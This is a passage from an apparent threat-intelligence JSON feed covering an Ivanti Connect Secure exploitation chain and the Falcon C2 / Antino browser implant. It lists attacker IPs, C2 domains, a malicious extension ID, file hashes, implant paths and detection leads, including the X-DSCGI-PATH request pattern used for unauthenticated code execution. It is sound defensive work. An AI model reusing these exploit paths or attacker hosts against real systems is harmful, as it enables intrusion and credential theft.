Integrity Checker Tool alone. Rebuild the appliance from trusted media and rotate LAPS, BitLocker, Active Directory and any other credentials stored on or reachable from the gateway." ], "sources": [ { "url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "label": "Volexity – A series of unauthenticated events: chained exploitation of Ivanti Connect Secure zero-days", "name": "Volexity" }, { "url": "https://www.rapid7.com/blog/post/etr-additional-ivanti-connect-secure-zero-days-exploited-in-the-wild-cve-2026-111357-cve-2026-118527/", "label": "Rapid7 – Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)", "name": "Rapid7" }, { "url": "https://www.cert.cyber.gouv.fr/alerte/CERTFR-2026-ALE-013/", "label": "CERT-FR – Alerte CERTFR-2026-ALE-013, Ivanti Connect Secure exploitation", "name": "CERT-FR" }, { "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "label": "CISA – Known Exploited Vulnerabilities catalog (CVE-2026-118527, due 13 November 2026)", "name": "CISA" } ], "indicator_count": 2, "block_now_count": 0, "hunt_count": 2, "hunt_counts": { "alert": 1, "monitor": 1 }, "indicator_counts": { "ipv4": 1, "other": 1 }, "ioas": [ { "artefact": "Requests to /dana-na/auth/url_default/welcome.cgi that include an X-DSCGI-PATH header", "log_source": "Ivanti Connect Secure, reverse-proxy and WAF logs", "why": "Volexity and Rapid7 describe UTA0576 abusing welcome.cgi with X-DSCGI-PATH values such as /home/webserver/htdocs/dana/fb/smb/wu.cgi or /home/runtime/tmp/ to run unauthenticated code.", "action": "alert", "has_query": true, "source_url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "source_name": "Volexity", "title": "Connect Secure welcome.cgi with X-DSCGI-PATH", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files /tmp/ml.py, rq5.py, mk.py, rr.py, pu.txt, sp_out.txt or spray_hits.json on an Ivanti Connect Secure appliance", "log_source": "Appliance file integrity or EDR events on Connect Secure (not estate-wide endpoints)", "why": "Volexity reported these Python tools and output files under /tmp on compromised Connect Secure appliances. The short names are too generic to hunt on every workstation.", "action": "hunt", "has_query": true, "source_url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "source_name": "Volexity", "title": "Connect Secure /tmp implant files", "queries": [ "KQL", "SPL" ] }, { "artefact": "Files under /data/.icscap/ (dsstatmond, cap*, h.py) or /home/runtime/tmp/ics-root-run-inband-*.pl on a Connect Secure appliance", "log_source": "Appliance file integrity or EDR events on Connect Secure", "why": "Volexity documented persistence and helper scripts under /data/.icscap/ and ics-root-run-inband-*.pl under /home/runtime/tmp/. The Integrity Checker Tool may miss them.", "action": "alert", "has_query": true, "source_url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "source_name": "Volexity", "title": "Files under /data/.icscap/", "queries": [ "KQL" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/block_now.txt", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/defender_xdr_indicators.csv", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.kql", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.spl", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt_raw.spl", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.yaral", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/iocs.csv", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527", "share_url": "https://iocwatch.com/t/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/", "indicators": [ { "value": "108.165.147.64", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "UTA0576 operator host on an Evoxt VPS, observed by Volexity and republished by Rapid7. Medium confidence, alert/hunt only.", "source_url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "source_label": "Volexity – A series of unauthenticated events: chained exploitation of Ivanti Connect Secure zero-days", "source_name": "Volexity", "sources": [ { "url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "name": "Volexity" } ] }, { "value": "CVE-2026-118527", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "CISA Known Exploited Vulnerabilities identifier for an Ivanti Connect Secure flaw in the UTA0576 chain, due 13 November 2026. The operator IP is a separate medium-confidence indicator.", "source_url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "source_label": "CISA – Known Exploited Vulnerabilities catalog (CVE-2026-118527, due 13 November 2026)", "source_name": "CISA", "sources": [ { "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "name": "CISA" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.kql", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.spl", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt_raw.spl", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527/hunt.yaral", "download": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527_hunt.yaral" } ] }, { "id": "Falcon-C2-XG-Antino-Browser-Implant", "folder": "threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant", "name": "Falcon C2 (XG): Browser Framework and Antino Implant Targeting Government Webmail", "short": "Falcon C2 Antino browser implant", "category": "APT / browser implant", "published": "2026-11-11", "entry_date": "2026-11-12 09:25", "last_updated": "2026-11-12", "seq": 23, "headline": "Browser C2 framework and Antino implant used against government webmail, with a malicious extension and OneDrive C2", "summary": "Unit 42 describes Falcon, also called XG or Xiang Ge, a browser-based command-and-control framework that runs malicious JavaScript on compromised webmail portals and government web applications. Between March and May 2026 it was used against ministries of foreign affairs, defence and interior, and law enforcement in one Middle Eastern country and four Southeast Asian countries. The framework steals passwords, emails, session cookies and communications, sideloads a malicious Chrome or Firefox extension, and in some cases delivers Antino, a Rust implant that uses Microsoft OneDrive as its C2 channel. The published domains, extension ID and file hashes come from Unit 42 and are on the block list (Block or BlockAndRemediate in the Defender import file). Do not block OneDrive or other Microsoft services; hunt for Antino's OneDrive paths and the GatherOSStateKit persistence folder instead.", "caveat": "Single-source indicators (Unit 42). The observed activity is from March to May 2026. Do not block OneDrive or other Microsoft services.", "targets": { "countries": [], "regions": [ "Middle East", "Southeast Asia" ], "sectors": [ "Government", "Law enforcement", "Defence" ], "note": "Unit 42 observed compromises of government entities in one Middle Eastern country and four Southeast Asian countries between March and May 2026, including ministries of foreign affairs, defence and interior, and law enforcement. Countries were not named.", "source": { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "name": "Unit 42" } }, "mitre": [ { "id": "T1189", "name": "Drive-by Compromise", "url": "https://attack.mitre.org/techniques/T1189/" }, { "id": "T1176", "name": "Browser Extensions", "url": "https://attack.mitre.org/techniques/T1176/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" }, { "id": "T1102.002", "name": "Web Service: Bidirectional Communication", "url": "https://attack.mitre.org/techniques/T1102/002/" }, { "id": "T1547.001", "name": "Registry Run Keys / Startup Folder", "url": "https://attack.mitre.org/techniques/T1547/001/" } ], "recommended_actions": [ "Block the Falcon domains and file hashes (they are in the Defender XDR import file), and hunt 30 days of DNS, proxy and endpoint logs for them.", "Search browser extension inventories, file paths and registry keys for Chrome extension ID mbidcmlcbgbphpoacojjbmfpohcimjji.", "Hunt for files under %LOCALAPPDATA%\\Windows GatherOSStateKit, sdiagnhost.exe launching PowerShell, and OneDrive or Graph activity to antino/heartbeat/ or antino/antino_upload/ paths. Do not block OneDrive or Microsoft services.", "On internal or government web applications, look for unexpected third-party JavaScript and for Hm_lvt_$ local-storage keys or an Hm_lvt__ cookie with a long-lived expiry." ], "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "name": "Unit 42" }, { "url": "https://bazaar.abuse.ch/sample/0c39264337a1186b2e765e24073399cbdcba118306614eb411e315887af578bd/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], "indicator_count": 27, "block_now_count": 27, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "sha256": 21, "domain": 5, "other": 1 }, "ioas": [ { "artefact": "A Chrome or Firefox extension with ID mbidcmlcbgbphpoacojjbmfpohcimjji, or that extension's files on disk", "log_source": "Endpoint file, registry and browser-extension inventory events", "why": "Unit 42 published this Chrome extension ID as the malicious Falcon extension used to steal passwords, emails and session cookies.", "action": "alert", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_name": "Unit 42", "title": "Malicious Falcon Chrome extension ID", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files or processes under %LOCALAPPDATA%\\Windows GatherOSStateKit, including a tmp########.exe drop and DllSafeCheck64.dll or slc.dll copied beside it", "log_source": "EDR file and process events", "why": "Unit 42 says Antino copies itself to this hard-coded folder and has used DllSafeCheck64.dll for sideloading in older versions.", "action": "alert", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_name": "Unit 42", "title": "Antino GatherOSStateKit persistence folder", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "sdiagnhost.exe launching PowerShell that adds a Run-key value, shortly after a GatherOSStateKit drop", "log_source": "EDR process events", "why": "Unit 42 observed Antino executing sdiagnhost.exe so that a PowerShell snippet in a diagnostic answer file adds Antino to the Run key.", "action": "hunt", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_name": "Unit 42", "title": "sdiagnhost used to add an Antino Run key", "queries": [ "KQL", "SPL" ] }, { "artefact": "OAuth or OneDrive file activity to a tenant that is not yours, with repeated small JSON writes to paths such as antino/heartbeat/ or antino/antino_upload/", "log_source": "Cloud App events and OneDrive or Microsoft Graph audit logs", "why": "Antino beacons by uploading hostname and username to antino/heartbeat/.json and exchanges commands and stolen files under antino/antino_upload/. Hunt these paths; do not block OneDrive or other Microsoft services.", "action": "hunt", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_name": "Unit 42", "title": "Antino OneDrive heartbeat or upload paths", "queries": [ "KQL", "SPL" ] }, { "artefact": "Hm_lvt_$ keys in browser local storage, or an Hm_lvt__ cookie set to 1 with a long-lived expiry (Unit 42 saw expiry in 2099), on internal or government web applications where Baidu Analytics has no legitimate reason to appear", "log_source": "Web application logs, HTTP cookie headers, and browser forensic artefacts", "why": "Falcon stores its session ID as Hm_lvt_$ in local storage and as the Hm_lvt__ cookie, mimicking Baidu Analytics identifiers.", "action": "hunt", "has_query": false, "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_name": "Unit 42", "title": "Falcon Hm_lvt session cookie or local storage", "queries": [] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/block_now.txt", "download": "Falcon-C2-XG-Antino-Browser-Implant_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/defender_xdr_indicators.csv", "download": "Falcon-C2-XG-Antino-Browser-Implant_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.kql", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.spl", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt_raw.spl", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.yaral", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/iocs.csv", "download": "Falcon-C2-XG-Antino-Browser-Implant_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant", "share_url": "https://iocwatch.com/t/Falcon-C2-XG-Antino-Browser-Implant/", "indicators": [ { "value": "fonts.tarotfree101.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Falcon C2 domain listed by Unit 42.", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "fonts.chrorne.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Falcon C2 domain listed by Unit 42 (typosquat of Chrome).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "robot.avbliud.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Falcon C2 domain listed by Unit 42.", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "microsoft-flash.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Payload-delivery domain that served the Antino installer as a fake Adobe Flash update.", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "wps-cn.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Payload-delivery domain listed by Unit 42.", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "mbidcmlcbgbphpoacojjbmfpohcimjji", "type": "other", "confidence": "high", "recommended_action": "block", "description": "Chrome extension ID of the malicious Falcon extension published by Unit 42. Hunt in browser extension inventories and endpoint file or registry events; it is not a firewall or Defender network indicator.", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "3e535d63af8a95221fb517fa1b3e4a0029d3463d8b767443abdff385ee8cb6e9", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of analytics-core.js (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "f8b86238e179d88a9979b6f97750a39dda1d07b54d634bc1348fdfb0944a3b92", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of background.js (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "88e8b07bdf294ace0357d35acb7e108c66ba65a2c4ad66351fb8f7806dae0862", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of content-script.js (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "065d18fcfeddbd718c054f4b21c3cde5b9291db921d01f343d7ac0d4b41f29ce", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of icon128.png (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "3eab406d841fa22a4b0200c95c1afab068347f835400d5771e8de60aef732016", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of icon16.png (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "5711586125909863b91c1b5ff7cf70ef5d35249d67b11d7a23dc864405cddfe2", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of icon48.png (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "b6a7be724871ed3e81c986b74d62da8911c82a336c4c1857b35f2446b2d49fda", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of manifest.json (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "2ed834d92bfefc9d07a9f1a48f986974ae2a29669029f8163a1f6e8706388fcd", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of offscreen.html (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "356b96c2267c5f2d8c07693643626e090b6389318b4ffa74699fa1732da5a00c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of offscreen.js (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "32af8413cbd38ce8beb257288cb8e6aa2f9b781d56d0f5272bffbcdc22d999f4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of page.html (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "e2b6b1becdbcc340121e163b5afdfc5437a480ca132248ed5c7c309c45ac3dbb", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of page.js (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "265c2b36060e4b21c25aa86a8bb22d1db5f806117b484774c75c65b5b38222e0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of sandbox.html (Chrome and Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "66e9098551a1c0c74077d6cf55570e5d307a4a5ef0b0f2053e139394e61c442d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of sandbox.js (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "3e923f11db08413fca8a3a69d33d8896cfd56309e5179e8604d7fb7110428da2", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of twitter-dm.js (Chrome Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "2ebe36f1322b77264a33fded81cd4b8817f93362945070bf0bb5845dd27c0575", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of background.js (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "857429faffe0e0747ce299e86eed063ed781b4e403b917ca7e853e89bedf072c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of content-script.js (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "b33f2e95943e3ff0a72dea1be9fdea03d986bada4def34f6991b3113ec161ad7", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of manifest.json (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "898656c33effb51e109c548fc213f157f151a870ea64a4601eda74ae75bd3af6", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of offscreen.js (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "b3d8ea89b19a87bf2fdd63127086681059f41d67b6e5f8c939f5636a1b2315ce", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of sandbox.js (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "24d69139cb2d32598f0f4983876f6320485fac134a66ade59cab76b50b4128f7", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of twitter-dm.js (Firefox Falcon extension).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": 